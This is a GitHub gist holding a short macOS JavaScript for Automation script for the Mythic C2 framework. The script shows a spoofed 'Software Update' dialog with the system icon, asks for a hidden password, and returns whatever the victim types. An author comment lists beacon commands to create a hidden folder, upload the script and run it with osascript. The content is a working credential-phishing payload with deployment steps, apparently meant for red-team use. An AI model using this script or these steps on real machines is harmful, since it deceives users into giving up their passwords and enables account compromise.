Skip to content

Instantly share code, notes, and snippets.

@jimmy-ly00
Created June 26, 2021 02:48
Show Gist options
  • Save jimmy-ly00/59c6a0a8fee0fe16a6bea19801998a7a to your computer and use it in GitHub Desktop.
Save jimmy-ly00/59c6a0a8fee0fe16a6bea19801998a7a to your computer and use it in GitHub Desktop.
Mythic Apfell manual prompt.js
function myprompt(){
var app = Application.currentApplication()
app.includeStandardAdditions = true
var dialogText = "An application needs permission to update"
var title = "Software Update"
var iconPath = "/System/Library/PreferencePanes/SoftwareUpdate.prefPane/Contents/Resources/SoftwareUpdate.icns"
try{
var prompt = app.displayDialog(dialogText, {
givingUpAfter: "300",
defaultAnswer: "",
buttons:['OK', 'Cancel'],
defaultButton:'OK',
cancelButton: 'Cancel',
withTitle: title,
withIcon: Path(iconPath),
hiddenAnswer: true
})
return("Input: " + prompt.textReturned)
}catch(error){
return("Error: " + error)
}
}
myprompt();
@jimmy-ly00
Copy link
Author

  1. After obtaining Mythic beacon
  2. shell {"command":"mkdir /Users/jimmy/public/.apple"}
  3. upload {"file":"myprompt.js","remote_path":"\/Users\/jimmy\/Public\/.apple\/myprompt.js"}
  4. shell {"command":"osascript /Users/jimmy/Public/.apple/myprompt.js"}

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment